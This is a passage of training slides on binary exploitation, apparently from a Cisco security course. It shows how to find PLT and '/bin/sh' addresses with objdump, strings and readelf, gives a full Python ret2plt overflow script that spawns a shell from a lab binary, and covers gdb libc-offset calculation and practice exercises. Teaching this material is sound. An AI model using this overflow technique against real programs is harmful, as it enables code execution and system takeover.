    I’m not dead  Find PLT entry and “/bin/sh” address cisco@kali:~/src/seccon/ch6$ objdump -d -j .plt -M intel ch6 | grep system 08048330 <system@plt>: cisco@kali:~/src/seccon/ch6$ strings -a -t d ch6 | grep "/sh" 1360 /bin/sh cisco@kali:~/src/seccon/ch6$ readelf -l ch6 | grep -i LOAD LOAD 0x000000 0x08048000 0x08048000 0x0062c 0x0062c R E 0x1000 LOAD 0x00062c 0x0804962c 0x0804962c 0x00124 0x00128 RW 0x1000 cisco@kali:~/src/seccon/ch6$ python -c 'print hex(0x08048000 + 1360)' 0x8048550 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 33
  • 34.
    Exploit  Similarto ret2libc, except ASLR and DEP are on cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os import struct as s target = "ch6" overflow_len = 112 sys_plt_addr = 0x08048330 sh_addr = 0x8048550 target_path = os.path.abspath(target) sys_plt = s.pack("<I", sys_plt_addr) sh = s.pack("<I", sh_addr) ex = "%s%s%s%s" % ('A'*overflow_len, sys_plt, "x43"*4, sh) os.execve(target_path, (target_path, ex), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 34
  • 35.
    Further topics ©2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 35
  • 36.
    Libc offsets My function is not imported by the binary  Looking for constants again  Offsets in libc between functions are constant 1. Pick a function in PLT 2. Compute offset with the one you want 3. Find a way to call it (overwrite GOT the call PLT, call reg, …)  More on this later… © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 36
  • 37.
    Demonstration  Iwant to call execve  My binary imports strcpy => 0xb7ed8b70  Compute offset between strcpy and execve gdb$ p/x &strcpy $1 = 0xb7ed8b70 gdb$ p/x &execve $2 = 0xb7f00680 gdb$ p/x &execve - &strcpy $3 = 0x27b10  Find a way to get strcpy GOT address and call strcpy + offset © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 37
  • 38.
    Game time ©2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 38
  • 39.
    Practice  Getfamiliar with PLT/GOT. Pick a binary, follow the flow  Change the GOT address of a function, before it is called. What happens?  Strip a binary and remove the section table. Try to debug it  Exploit ch6 with ASLR and DEP enabled  Try using strcpy to copy something to a known location © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 39